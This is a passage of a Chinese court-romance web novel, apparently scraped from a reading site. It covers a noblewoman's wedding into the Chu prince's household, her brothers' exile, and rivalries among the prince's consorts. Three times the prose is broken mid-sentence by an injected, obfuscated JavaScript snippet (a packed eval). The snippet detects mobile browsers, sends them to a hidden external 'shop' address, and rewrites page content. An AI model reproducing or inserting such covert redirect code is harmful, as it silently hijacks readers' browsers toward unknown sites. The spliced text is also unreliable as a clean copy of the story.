好生闹了一番,端木玄被同族的几个兄弟与慕州城相熟的勋贵子弟拥着到了席面上。师晟几人不在,倒是唐家的几个表哥撑起了场面。啼樱从席上回到新房笑道:“唐家几个表公子酒量好着呢,已经把慕州太守的那两个公子灌倒了。倒是咱家三夫人拉着几个郡主、县主喝得有些醉了。” 师冉月无语,“大嫂呢?” “大夫人方才叫人拿解酒汤来了。” “那便好。”师冉月放下心来。今日席上淑宁郡主与其夫安西将军带着两个儿子都到了,沐安郡主却是没露面,对外只说病了。端木玄与师冉月却晓得她是因为楚王夫妇之事对他二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226135|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人心怀怨怼,烟水怕她生事,干脆报请端木玄将她锁在了别苑。 “我瞧着沐安郡主倒不像是能生事的人。”师冉月剥了个橘子垫肚子,边吃边说道,“她那般腼腆胆小的一个人,说到底还真是端木玄对不住她。” 音儿拿帕子擦着她吃到嘴角的汁水,摇头叹气:“姑娘,我怎么觉得你这嫁人嫁的与原先也没什么分别。” 师冉月摇头:“往后在人前你们便得称我‘夫人’了,这怎么没有分别?对了,侧夫人与大公子处的礼可送到了?” “已送到了,侧夫人送了只双福的香囊来,说叫夫人莫要担心。” “那便好。”师冉月吃完了两只橘子和半块蜜瓜,又喝了一点米酒,窗外贴着囍字的红灯笼才开始亮起来。师冉月在屋里四处绕了一圈,又叫合月带着她在院子里瞧了一瞧,觉得无聊,干脆叫合月取来花名册和账本开始核对。“对了,啼樱,你再去前面厨房里看看,最好能给我顺点咸口的东西回来,我又饿了。” 合月失笑:“夫人,咱们院里小厨房的人今日也都上值,您要吃什么叫他们做就行了。” “罢了罢了,他们的手艺我还不清楚,也麻烦。”师冉月摆摆手,“再者,我的婚宴,那前面席面上的东西我却一点没尝着,这怎么行。”说罢便把啼樱指使了出去,又拉着合月点上灯,继续介绍花名册上的侍从。 “从前内院都是烟水姐在管,烟水姐外出时便是冯落池暂代管家,她也是沐安郡主的奶娘、王妃陪嫁的冯妈妈的侄女。花房由陶氏负责。内厨房由魏妈妈统管,采买是她的妹夫尤叔负责。车马由华叔统管。王府的侍卫统领是方预,而内院的侍卫是由岑诃副统领负责......” 直讲到合月口干舌燥,喝了两盏音儿倒的茶,才算基本把楚王府包括别苑上下捋了个明白。啼樱给师冉月端回一盘烧鱼半块东坡肉外加一碗粳米饭后在一旁听得昏昏欲睡,师冉月倒是边吃边听十分精神,甚至还在空白的宣纸上勾勾画画了个人物关系图出来。 “罢了,今日就这样吧。前面席面怎么样了?”师冉月听着外面三更天的钟声传来,好似前院的喧闹声也小了些。有小丫鬟去看了回来道:“禀夫人,已经开始送客了。” “那就是了,收拾收拾罢。” 合月将账本和花名册等一应物件收好,音儿将她身上的婚服弄皱的地方尽力整理了一番,遛下来的几绺碎发也重新梳服帖,啼樱便从院门跳进来道:“世子爷来了。”几人便下去准备沐浴的东西,留师冉月一人坐回婚床上,像模像样地又把团扇拿起来举到面前。 不多时果然听见有脚步声进了院子,又踏进了房间,绕过了屏风。人影透过扇子越来越近,师冉月本来觉得自己足够松弛坦然,却还是听见自己清晰的心跳像是窗前那一对红烛上蹦跳炸开的烛花。端木玄早先吃了解酒药,如今只微微沾了些酒味,看着师冉月举得板正的团扇有些忍俊不禁。师冉月听见他的笑声微微皱眉,手却像是被胶黏住了举着扇子不动,还是端木玄上前来从她手里缓缓抽出扇子放在榻上。红烛旁眉目相对,师冉月仰视着端木玄,似是被他身上沾的酒意醺得醉了,满面轻红低下了头,伸手轻拽了把他的衣袖。端木玄顺势在她身旁坐下,道:“我以为师二姑娘只会与人谈交易,把姻缘当筹码,怎么——” 轻扬的尾音落在耳边,师冉月只觉得脑子已然不听使唤,做不出任何反应,只是面颊上胭脂的颜色越染越浓。她努力让自己想起方才的账本、名册、钥匙......记忆力却只剩一片空白。 “——然后呢?”还不等三朝回门,次日一早端木萌便拉着端木婉以端木玄堂妹的身份进了楚王府,拉着师冉月东问西问,“如今这里没有未出阁的姑娘了,你磨蹭什么!快说快说!”“然后该做什么就做什么了呀。”师冉月吃着冰粉,耳尖飞红。端木萌却红着脸继续问道:“什么叫该做什么——”师冉月打她道:“那你和三哥做什么了。” “我们青梅竹马互相爱慕,你们——” 师冉月搬出萧晨和端木婉,笑道:“不与你们成亲前就互诉衷情的比,大嫂和二嫂做什么了,我就做什么了。” “可别拉上我。”端木婉摆手,柳眉轻挑,面不改色道:“子恕头一夜害羞,我们可是各睡各的什么也没做。”话一出,端木萌立即换了追问的对象,揪着端木婉不放。 “罢了罢了,哪有你们这样的。”师冉月催二人回去。端木婉面子薄,早想往外撤,更怕碰上端木玄。正好萧晨也派人来叫他们回师宅,端木萌这才走了。 二人前脚离开,后脚端木玄便进了屋,想也知道已经听了半天墙角。师冉月有些不自在,端木玄却如常道:“快些用早饭,马上宫里道贺的人便要来了。” 21. 第 21 章 宫里来的人是一个姓蔡的公公,原先一直在司衣局做事,去年突然升为内宫总管,并在废后一事上“功勋卓著”,办事利落,深得皇帝信赖,可谓是如今宫里的大红人。 “山高水远,有劳公公亲自来这一趟。”受过礼谢过恩后,二人寒暄着请蔡公公入府内喝茶,蔡公公却一甩拂尘,干瘪的脸皮夹出一个笑来,道:“多谢世子与夫人好意,只是咱家在慕州还有别的事要办,就不多叨扰了。”说罢,他着意盯着师冉月,略微突出的眼球好似猪笼草的捕食口:“毕竟云和公主与平承郡主还有师家的另两位夫人也在慕州,咱家也得去拜访一遭,顺便告知逢州太守师晟被革职、师晟、师穆、师霖、师骁流放西南充军的旨意啊。” 师冉月愣在原地,眼神死死盯着蔡公公似乎又作揖说了些什么,一直到转身出了楚王府,才觉得身体里好似有什么东西被抽走,眼前花白一片,蓦然倒了下去。端木玄眼疾手快接住师冉月,匆忙抱着她先回了房内请了府医。 烟水闻得寒峦告知,匆匆自别苑返回,径直去了内院新房,却不料端木玄并不在此处。“夫人身体如何?” “没什么大碍,就是昨夜未休息好,又闻噩耗,骤然惊惧才晕了过去。府医开了镇静安神的药。”合月道。 “世子在何处?” “在书房。您不必去找他了,世子让属下给您带话,计划提前到今晚。” 烟水眉眼一沉,眼神掠过躺在塌上昏睡的师冉月,声音冷淡平静:“知道了。” 被议论“冲喜”的楚王世子夫人师冉月嫁进王府次日晚,楚王端木横病逝。蔡公公还未走出慕州城,就被礼部批的端木玄继楚王位的诏书砸的又来楚王府当了一次差。 “王爷,节哀啊。” 端木玄道:“王府还忙着准备丧仪,里面也是一团乱,就不请公公喝茶了。” 蔡公公笑了笑,摆手道:“听闻世子夫人——哦,楚王妃抱恙,还望王妃早日康复啊。不过咱家也听说这外头不少人讲王妃命硬,王爷您也得小心啊。” 端木玄神情不变,只请人送客。等蔡公公和他的手下离了视线,烟水上前道:“城中的确有关于王妃的流言。” “都处理了。”端木玄转身往回走,“蔡德也用不上了,不用让他回京了。”他走到灵棚,看着里面摆放的准备已久的棺木,从近黛手中接过线香点燃,径直插在了香炉中。殷嫣称病留在了别苑,端木缡被他直接送到了颍川。端木暄方才匆匆上了香,也未留下守灵,倒是小端木城跪在一旁的蒲团上摇摇晃晃得快要睡着。 “叫——林侧妃来,把孩子抱回去。对外宣称,谨遵老王爷遗书,丧仪一切从简,尽快出丧。” “是。” 师冉月一觉醒来,头还有些晕,听着音儿汇报这短短一日发生的事还有些愣怔。“王妃,灵棚已经搭好了。王爷的意思是后日便下葬,也不要城中其他人家设路祭和粥棚。大公子昨晚去守了半夜灵,王爷见了也说不必守了。” 师冉月嗓音有些哑,像是喉咙被石头碾过,她接过茶水润了润,轻叹一声:“我知道了。师家怎么样了?” “大夫人和二夫人都没什么事,三夫人知道后就把自己关在屋里,听尧儿说是睡着了。四夫人还有身孕,听了消息直接晕倒了,不过请人去看过了,没有大碍。不过大夫人要去一趟卿州,老爷他们流放会路过卿州,夫人们整理些衣物之类给他们送过去。” 如今正是夜里,子时刚过,外面还是黑压压一片暗沉。前日成亲的满府红灯红绸已经被换成了白绢白纸,看得人心冷。层层的白仿佛包裹在她心上,裹紧、压塑,带着夏夜潮湿沉闷的露水气息,一点一点掩埋了心脏的生气。师冉月伸出手去,点了点音儿眼下的乌青,道:“快去睡会儿罢,忙了好些日子了。” “我没事儿,姑娘,倒是你现在脸色还在发白,还是再歇会儿吧,早上起来可有的忙。” “才睡了这么久,我哪里能睡着。你去睡吧,我看会儿书,兴许就睡着了。” 却是就此独坐到天明。 次日一早,师冉月自己收拾得板正,换上银簪白花,穿上丧服,虽心里不免有些胆怯,面上却是平和镇定,不怒自威,又是拿着钥匙的正经王妃,拿着托大拿乔的冯落池杀鸡儆猴之后,王府下人们无不信服畏惧,老王爷的丧仪也在她的主持下井井有条。 端木横下葬后,撤去白饰,楚王府才像是正式交到了端木玄与师冉月手里。 “你嫁进来之后,这事儿就一个接一个的,咱们二人也未曾这么坐下来说说话。”王府众人还在戴孝,师冉月穿了身苍葭绿的衣裳,挽起的发髻上只插了两只银簪。林绵也只穿着鱼师青的衣裙,内搭赭石的内衬,发髻低挽,插着银篦,倒像是平白给自己添了十岁。 不远处端木城与几个小厮一道玩着蹴鞠,师冉月叫人摆了茶具,自己点茶玩儿,道:“是了,要是说实在的,咱们二人上次这么说话还是在京城的时候,一晃竟都这么些年了。” “如今王爷也不常在府中,更不常来后院,这王府人也简单了,又是由你管着,我也敢带着城儿这么满府满院转转,不然谁晓得那起子人都各存了什么心思。” 师冉月的确处理了不少老人。若非这么一清理,连合月都不晓得这王府里纵然唐珞和辛阮英都已故去多年,连同殷嫣的仆从还各成一派,明争暗斗瓜分了不少利益,甚至与前院门客幕僚藕断丝连。“不光是老王妃给王爷房里塞人,外面慕州城那些世族女也各个想做世子夫人,我也就罢了,城儿自然就是他们的眼中钉了。” 不过师冉月也好奇端木玄那么严谨的人,明知道庶长子的存在会不利于他的姻缘婚配,怎么会容许林绵在正房夫人进门前有了端木城。她试探着问过林绵一回,林绵只笑而不语,她便也懒得追根究底。 这次咬盏很成功,师冉月松了一口气,笑道:“王爷得守孝三年,这后院正经还能清净不少日子。” “是呀。”林绵摇着扇子,看着端木城笑得从容满足,“慕州城山高水远,日子若这么过下去,也当真不错。” 师冉月心里不似林绵那般平和。端木横下葬后,王府正常运转,她也培养了不少自己的亲信,的确没什么好忧虑的。但师家如今却岌岌可危。虽说师晟把私兵调去一路暗中护送他们的安全,但到了充军处,上面不知道多少双眼睛盯着,便也不好运作。虽说有端木玄的势力在朝中军中都打点着,可她们还是担心一不小心兄弟四人就会落得和岳炳李既他们一样的下场。 “甚至子持他们还不如我姐夫呢。”端木萌想哭又哭不出来,心里一股气儿拧着没出使,“我姐夫和屏南侯他们那是领旨带兵,那是将军,死了还有个身后名;他们这是充军的兵卒,死都不知道骨灰在哪儿。” 林绵闻说了,却有些不以为意:“恰是这般,上面反倒还不好发作。岳家大哥与屏南侯兄弟是‘牺牲’,做好身后事,便没人能诟病。师家既然没有连女眷一同处置,那就不是致死的大罪,何况你二哥三哥还是驸马,找不到合适的理由,就没办法轻易处置他们。今上还是爱面子的。” 师冉月叹气:“做君主的没有不爱面子的,只是一旦他觉得威胁到了他的权力,那皇权和面子二中取一,想也是先顾着皇权再弥补面子。坐在那个位子上粉饰太平何其容易。” 不过脱离了最初的慌乱,日子还是照常过着。师家如今可谓是人丁兴旺,一点不是当年师道旷一脸沉痛地看着盼了好久才得来的独苗苗师焕仿佛要绝后的样子了。大道二年时,萧晨请了萧氏族中一位德高望重的老叔父来教导师焕、师婷欢和师景安,年纪小的师迟和师莞安则偶尔旁听,由萧晨和端木婉亲自负责开蒙,有时也会劳动岳诗韫出来监督两个小家伙练字。师玘、师言和师琦还在路走不太明白、话也说不利索的阶段,满院闯祸,平均地闹腾着师家上下所有人。尤其师言,不爱说话,带头捣乱却是一个顶两个,简直是幼年端木萌和师霖的结合后升华版。师玘一般看热闹,师琦则是自己不敢闯祸全被师言怂恿。 再加上去年年末出生的师骁与张雁的女儿师幼芷,妯娌四人光是在孩子身上费心思,偶尔兼顾下自己,竟也没什么功夫太担心远在西南的夫君。 皇帝自从得知楚王病逝的消息后便开始不太关心前朝之事,一门心思招来太医为自己看诊,想着如何能延年益寿,甚至也开始寻求曾为太子时唾弃不已的仙方妙药。史自兴虽专权秉政,想要对“旧党”斩草除根,可生杀大权到底还在皇帝手中,皇帝一日不理朝政,他奏请查抄之事便一日得不到批复,久而久之便也不专心此事,只做收权敛财的行当了。 师冉月更是清闲。端木玄一门心思扑在他的宏图伟业上,于是后院格外安静稳定。她每日算算账,四处巡查一番,偶尔到别苑看看精神有些不正常的殷嫣,再督促督促和师焕一起听学的端木城,隔三差五回师宅与嫂子们闲话,再不就是与慕州城内的夫人、少夫人们走动走动,忙而不累,单调却也省的忧虑。原本大道三年末想着孝期快结束,琢磨着是否要给端木玄填个侧妃或是纳两个小妾,结果老王妃殷嫣在疯癫了两年多后终于一命呜呼,王府孝期再次叠加。 端木玄知道了此事,很是无奈,但看着师冉月对着柜子里新选的新鲜颜色的衣料发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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师冉月微笑着拉她对面坐下,道:“你我是旧相识了,如今在此重逢,也是缘分。” 徐聆雨却掩嘴笑了:“要说缘分,也是我强求来与殿下的缘分了。此次原本是我兄长与王爷有事相商,是我央着他一同前来开开眼面,不然日后嫁了人,一辈子在后宅,岂不是遗憾。” “是了,这慕州城也大得很,风土人情与逢州大不同。我这儿也不好出王府闲逛,倒是可以叫合月带妹妹四处逛逛,她自小在慕州长大,事事都晓得。” “这怎好劳烦。”徐聆雨未看向合月,只品了一口龙井,笑道:“还得是咱们江南的茶吃得惯。” “你若喜欢,我送你些便是。这边的人倒喝不大惯龙井,我这儿剩了好些。” 二人便就着这茶又说了好一会儿,直到近黛前来,向师冉月行礼道:“殿下,王爷说他与徐世子另有事要办,徐姑娘一人在慕州恐郡王府不放心,烦请殿下在王府为徐姑娘安排住处。” 师冉月点了点头:“东院原先沐安郡主住的那处院子仍空闲着,便收拾出来叫徐姑娘暂住罢。” 徐聆雨盈盈一笑:“多谢殿下。” “王爷与徐世子要商议的是何事?”啼樱立在师冉月侧后,缓缓替她揉着头。师冉月目视着合月,眼底满是疲惫。 “属下也不晓得。如今属下职责所在不在前院,按规矩也不能过问。”合月低着头不敢看师冉月,师冉月却轻叹一声: “罢了罢了,你去看着点徐姑娘那边安置好了没有就是了。” “是。” 合月领命出去,音儿端来一碗鸡丝虾仁热面,师冉月吃了两口,只觉得有些清淡,不足以慰藉她的胃口,皱眉想了一会儿,看着音儿熟练叫人拿来的一小碟辣腌菜仍然觉得不够,道:“叫厨房做碗酸汤面来,再配上这辣菜......或是明日叫厨房的师傅去城西那家做米粉的馆子学学酸辣米粉。” “姑娘,辣的吃多了伤身,何况您每次都辣得眼泪直流,还是少吃些过瘾就行了。” 师冉月叹气,就着腌菜吃完了面,才觉得有些愉快了,慢条斯理地洗了漱,然后如常听人来报端木玄还在与人议事,请她先歇,便自己盖好被子,熏了些助眠的香准备入睡,只留房中案上一盏小灯给端木玄。这二年守孝也不能行房,端木玄常常议事到半夜,又早起出门,若不是身旁被褥的褶皱和枕头的凹陷,师冉月简直要怀疑端木玄压根就没回内院来睡。 不过今日她辗转反侧良久,越在被子里来回翻身越热得睡不着,掀开被子又怕着凉伤风,直直瞪着眼听到子时更声,又过了会儿,才听见端木玄进了院子回了房,她便转身面壁装睡,不一会儿便觉得身后人带着些微寒气进了帐,似是轻微叹了口气,帮她把背后掉落的被子扶到肩上,便躺下,呼吸声渐渐均匀。她才轻轻转身,盯着他朦胧的面孔,不知几时才有了困意,转身沉沉睡去。 22. 第 22 章 “烤焦的这几块赏你们了,其余的拿通判夫人送我的那只粉绿釉面的盘子装着,我要给王爷送去。”师冉月净了手,换了身青莲紫的衣裳,额外披了条新裁的暮山紫披帛,头上戴了支风铃花步摇,比起她近二年惯常喜欢穿的青绿色系的衣裳,实在叫人眼前一亮。 她亲自提了藤篮,只带了音儿到鲜少涉足的前院端木玄的书房去。这书房是单独的一处院落,清幽僻静,院墙外种了一圈红豆杉,院内摆着几盆苏铁,配上青石灰砖,即便是盛夏时节走进来也能感受到似有似无的凉意。 才一进院,便迎面碰上两个约莫二十多岁的门客刚从端木玄书房中走出来。二人见了师冉月,皆驻足行礼,师冉月也停下来点头示意,心里却觉得二人面熟,待二人错身而过后,才想起是先前萧晨请自己族叔来慕州时曾去拜访过的。师冉月侧头与音儿耳语了几句,才端起盈盈笑意走到书房门前推开了门,向端木玄笑道:“方才做了山药糕,请王爷尝尝。” 端木玄挑眉,拿了一块山药糕放入口中,细细尝了尝,口感是很绵密,味道却比外面寻常人家卖的山药糕要再甜上两分,他抬眼看到对面女子眼中的狡黠,仿佛自从发现他喜欢甜食,便逮住这点不放,就是她自己惯常喝的茉莉蜜茶也要多加些蜜,不晓得是在迎合他的喜好还是单单想要调侃。“王妃好兴致,许久不见你做糕点了。” “这两日闲来无事,本以为徐妹妹会来找我闲聊,便把好些要做的事提前了,谁想她也不见个踪影,倒叫我有时间捡起从前的手艺。”师冉月在他对面坐下,捧着寒峦倒的茶,道:“不过说起来徐妹妹马上要过二十岁生辰了,竟未听说昌留郡王为她定下婚事。” 端木玄把自己书房里的冰桃酪递给她,道:“不如王妃替她寻门亲事。” 师冉月笑道:“王爷收了徐世子什么好处,连婚事都包揽了。若是这样,不如干脆把徐妹妹娶为侧妃,正好都不用挪地方了。” 端木玄闻言一顿,看着师冉月的眼神变得考究,师冉月却一边吃着冰桃酪一边迎上他的眼神,眼里是理所应当的笑意。片刻,端木玄勾唇:“既然王妃这样想,那就这么办罢。” 师冉月点了点头,对寒峦道:“你帮我去告诉合月吧,待过了宗人府后,婚事便由她操办。”说罢,接着把冰桃酪吃完,并向端木玄道:“这冰酪还挺好吃的,把桃子换成莓果,叫厨房每日给我做一碗。” 端木玄无奈:“十日一次也就罢了,你又贪不了那么多凉。” “十日太长了,五日。” “五日,就把桃子换成红枣,再浇上生姜汁。” 师冉月撇撇嘴:“十日就十日。” 樱桃自西院小厨房端了冰西瓜来给林绵和端木城消暑,问道:“听说徐姑娘过府后继续住在东院。” “那正好,免得我还得与她应酬。”林绵正看着端木城习字。天气热,若是一会儿不监督着他,他便趴在桌子上拄着笔杆打盹,只好用冰酪冰瓜一类哄着他,才能叫他多描几个字。 “不过王妃怎么会主动劝王爷将徐姑娘纳为侧妃呢?” “都把人安排到王府后院住了,就是王妃不说,王爷本也是这个打算。”林绵不以为然,却道:“过会儿用晚饭前,你拿着城儿写的字去王爷书房,请他来西院用晚饭。” 樱桃不明就里,只应了,挑了几张端木城写的好的字,在晚饭前送到了端木玄的书房。端木玄果然答应来了西院,不顾天热,抱起迎面跑来的端木城转了两圈,夸了他描的字,又拒绝了林绵劝他再看看端木城其他功课的请求,只抱着端木城叫用过晚饭再说。一顿晚饭三人其乐融融,倒真像是寻常人家的一家三口。只待下人撤去碗盘后,樱桃带走端木城到外面散步消食,林绵才向端木玄开口道:“城儿虽与师家大公子年岁相仿,但开蒙晚些,听萧先生讲课便有些费力,妾见城儿学得辛苦,也是心疼。学习之时,也不急于抢这一时之先。何况慕州其他官宦人家也有送子侄到萧先生那儿听学的,城儿是王爷您的孩子,总不能一直在萧先生那儿听学。所以妾想请王爷给城儿在王府另请位先生。” 端木玄略微皱了皱眉,道:“说的在理。”略微思索,便道:“王府的幕僚皆是饱学之士,明日你便与王妃商议着从中再选一位先生给城儿罢。” “妾替城儿谢过王爷。” “殿下,王爷今日歇在林侧妃处了。” “晓得了。”师冉月正看着合月呈上来的纳徐氏为侧妃的一应流程。“昌留郡王推说年事已高,便不亲临慕州了。世子夫人梁氏与徐二姑娘已从逢州启程来观礼。” “一个侧妃之礼......”师冉月斜倚着身,半眯着眼大致看了眼礼单,“依惯例就是。”昌留郡王是外姓的皇亲,背后是这一众的皇室边边角角的后嗣,不成气候,却也麻烦。若是得君上眷顾,甚至徐聆雨和徐酌雨也能有县主诰封,若不得眷顾,便是只剩个尊号的皇亲,还是公主之后,没有“端木”的姓氏,也不算显贵。不过这些尚过主的人家私下里联系紧密,端木玄想联络皇亲国戚,自然不能直接与外封的王爷或是京中哪位皇子来往太甚,这一招倒是隐而不虚,可谓精妙。 待徐聆雨正式成了侧妃,在这王府里能说上几句话就全屏端木玄的喜好了。是以师冉月丝毫不为此忧虑。她挂心的另一件事迟迟找不到出路,当着端木玄的面儿还怕漏出破绽,如今端木玄不睡在正院,倒叫她可以光明正大地熬夜琢磨。 沐浴过后,打发走了一应伺候的人等,师冉月坐在窗前叫音儿拿助眠的药油揉头,眼睛却颇精神地盯着妆匣。嫁进王府前,她便将那些信全都烧了个干净,当日端木凛交给她的信封则是留在了师家宅子里她房间的书架上。如今只有那块完整的玉佩仍放在那只锦囊中,留在妆匣里。她犹豫着取出那玉佩,放在手里来回摩挲着下不定决心。 窗外几只麻雀落在树梢上,书案上树影摇晃又慢慢定格。师冉月深吸了口气,轻声道:“音儿,我如此做,是不是太卑劣了。” 音儿却已看着她的犹豫自己思虑良久,开口时声音虽轻,语气却很坚定:“姑娘,您只需要做您想做的,凛公子如何回应在他,而不在您。” 师冉月闻言,终于缓缓抬笔,在白藤纹纸上写下久违的称呼...... “你明日拿着信回师家,找我三嫂借成和几日,叫他拿着这玉佩亲自送信到度州,连同我库房里那两只金麒麟......再拿二百两银。”她低头,眼里满是混乱的浊色。“我如今也没有别的可以给他,总不能平白请人帮忙。银子到底是在哪里都用得上的东西。” “放心,姑娘。” 徐聆雨正式入府已是大道四年二月。楚王府时隔多年终于又办了喜事,满城的人家也跟着庆贺,虽只是娶一个侧妃,但也是热闹非常。 “明早徐侧妃还要来拜见殿下,殿下还是早些歇息吧。” 师冉月新换了帝释青的中衣,光滑的面料在烛光下衬得人皮肤白皙,好看的很。师冉月自己对着镜子梳着头发,不在乎道:“那也是她得记着早起,与我何干。”又道:“绵姐姐这些深色料子倒是衬人,改日我得再去搜刮些。” 音儿燃好了香,笑道:“你们先回去歇息罢,殿下又要对着镜子欣赏好久了。” 另几人遂笑着出去。师冉月放下玉梳轻打了音儿一下,笑骂:“好啊音儿,如今连我也敢打趣了。” “怎敢怎敢。”不过师冉月自从把信送了出去,也不执拗于回信,反倒整个人轻快起来,倒是也叫音儿放心不少。成和当初把信和银子等送到度州并未逗留,只说端木凛让他先回,回信他自己会找人送到,师冉月也像得了半个保证,心里悬着的事儿也放下来些许。 “明日要赏赐给徐侧妃的东西都准备好了吗?” “备好了。是那年在京城买的一只翡翠镯子,品相上好,不过姑娘这些年都没戴过了。” “品相的确是上好。”师冉月拿过来看了看,“我原先觉得这样纯色的镯子太过老气了些,喜欢那些有些花样的、颜色浅淡的。”她比了比手上的京白玉镯子和两只颜色稀奇的浅紫细镯,便叫音儿取出嫁妆里旧时唐烨戴的一对儿翡翠镯子,取下那两只浅紫镯子换上,配上她这身中衣倒是搭调的很。 次日师冉月仍坐在妆台前慢悠悠地擦着口脂,却听下人来报“云和公主到”,一面匆匆换了衣裳出去相见。一见面端木萌便围着她转了一圈,对着她那正红的裙子很满意,但拉着她那荔色的外衫蹙眉:“你怎么有这么老气的颜色,和你这嫩的像未出阁的姑娘的脸一点也不搭调。不过这一身,配上这金头面,倒有点我母亲当年会见新入宫的嫔妃的派头。” 师冉月无奈:“我原先只想穿新做的那身蟹壳红的衣裳,音儿她们却说不是正红,压不住。这裙子原本还是当初为我成婚次日拜见婆母准备的。不过你来做什么?” “我来看看徐侧妃啊。”端木萌一身缃叶黄衣衫雍容华贵,端的是嫡公主的派头,也不晓得是想来给师冉月镇场子还是凑热闹。正说着,林绵也到了,看到端木萌一愣,忙行了礼笑道:“公主怎么也来了。” “你们两个如今倒真是亲如一家,一个二个都问我来做什么。怎么,这楚王府后院是什么天仙宝地,连我也不配来了?” “我的好公主、好嫂嫂,”师冉月哭笑不得,扶她坐下,“音儿,快给云和公主上碗酒酿圆子来堵住她这嘴。” “大清早的,谁喝你的酒酿。好久没喝到你那蜜茶了,给我来一盏罢了。” 几人笑闹着,那厢徐聆雨也到了正院,一身浅玫红的衣衫衬得人娇艳十分,面上不施胭脂也似红霞,如同新绽放的睡莲。 她见到端木萌,微微一愣,便笑着先向她见了礼,而后正式向师冉月行了跪拜礼,奉了茶。师冉月接过,尝了一口,知道是梁婳自逢州带来的龙井,便笑了笑,称“好茶”。音儿将准备好的镯子为徐聆雨戴上,徐聆雨再次谢过,得了首肯,便一声不吭地起身在一旁坐下,乖顺地不像是端木萌想象中的样子。 师冉月温和开口:“你我是旧相识,林侧妃也是好相处的人,往后不必拘谨。我这儿也没什么规矩,更不用晨昏定省。妹妹如今新嫁进来,正是王爷心尖上的人。王爷公事繁忙,人也劳累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226137|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还望妹妹多体贴。如今王府孝期也过了,还望妹妹早日替王府开枝散叶。” 徐聆雨低头应下。端木萌刚要开口,师冉月又抢先道:“梁夫人与二姑娘还在逢州,听说明日便急着要走,我们便也不扰妹妹与家人团聚了。” 徐聆雨谢过,便也告辞出去。端木萌忿然,师冉月却道:“这是楚王府的后宅事,你就是作为云和公主,也不能插手堂兄后宅罢?” 端木萌蔫下来,“成日里管那几个孩子,无聊的很,如今我们又不方便出去应酬。好不容易来档子新鲜事,你还给我堵了回去。” 师冉月笑道:“你是直爽人,没得和我们练这弯弯绕绕的话来。”又道:“还是大嫂太惯着你了,嫁人这么些年,都有了三个孩子了,你倒是越活越像小孩子了。这日子哪有那么多乐子好找,小心给你惹祸上身。” 三人又闲话了几句,端木萌便打道回府。师冉月拉上林绵道:“先前说要给城儿找先生,我请萧先生帮忙敲定了两个王爷的幕僚,一个叫蒋节,一个叫沈案之,都才二十多岁,有些才学,又谦虚,还不似那些老先生咬文嚼字得迂腐。我请了他们今日去给城儿授课,叫城儿听听看可不可行,如今时间还早,咱们也去听听。” “你呀,怕不是想着若徐侧妃难缠,便托了此事好走,要么怎么偏偏选了今日。” “看破别说破呀。”师冉月笑着推她往前院走。既要请先生在王府授课,自然不能在后院,师冉月便叫人支会了端木玄,将前院一个原先老王爷用来赏字画的小院子收拾出来给端木城用,将老王爷喜欢的满院夹竹桃移出去,种了林绵喜欢的垂丝海棠,又叫府里的老花匠带着端木城亲自去挑树种,最后这小孩儿选了他父王喜欢的红豆杉,于是也照着端木玄书房的样子在这处小院子外也种了一圈红豆杉。 二人悄声立在窗子外面时,正听到蒋节在给端木城讲《史记》,正讲到《项羽本纪》,蒋节绘声绘色,引得端木城时不时哈哈大笑。林绵微微皱眉,轻声道:“这能行吗,简直像是说书先生。”师冉月摆摆手:“就是这样他才有学的兴趣。我大嫂给焕哥儿开蒙时也是这么讲的,只是不像蒋先生这么生动。你且瞧着,不仅这故事记住了,你便是要他背下来《史记》的原文,他理解了自然好背,也愿意背。” 蒋节讲毕,便由沈案之再给端木城讲方才古文里涵盖的句读、音韵一类。师冉月干脆叫人搬来两把太师椅,就坐在窗边廊下听着,倒觉得似是回到了当年穿着男装跟着兄长们去听学的光景。 “可惜我当年只知道逃学,和先生作对,也仗着年纪小、爹娘疼爱,便肆意妄为。我姐姐当年虽也不喜欢老先生讲的那些古文,却自己习读诗书,字也练得极好看。” “你的字也不差。吟月的字秀气方正,写小篆、小楷都好看,写大字就有些不足。你写小字不及她,大字却豪放洒脱,我看比那文人书生都胜一筹。” 正说着,听见里面声音停了,又有端木城向先生道谢告别的声音,二人便站起身来进了书房。蒋节与沈案之见了二人,忙行礼道:“见过王妃、侧妃。” 师冉月笑道:“二位先生讲得真好,来日我若有孩子,也得拜托先生们教导了。” “王妃谬赞,还是王妃向王爷举荐,我二人才能有幸教导大公子。” “大公子聪慧好学,二位殿下不必担心。” 林绵笑着搂过端木城,蹲下身问他道:“今日二位先生讲的可都明白了?” “都明白了。” “那以后就让蒋先生和沈先生叫你读书可好?” “好啊好啊。” “那就多谢二位先生了。”师冉月欠身道,“我这儿新得了两块廷珪墨送给先生,还望先生们喜欢。” 二人惊喜,再三谢过才告辞。林绵道:“那廷珪墨天子也是难得,都是送给大学士们的,你在哪儿寻了那两块?” “都是在我二嫂那儿搜刮来的。你若想要,我还能给你弄来。” 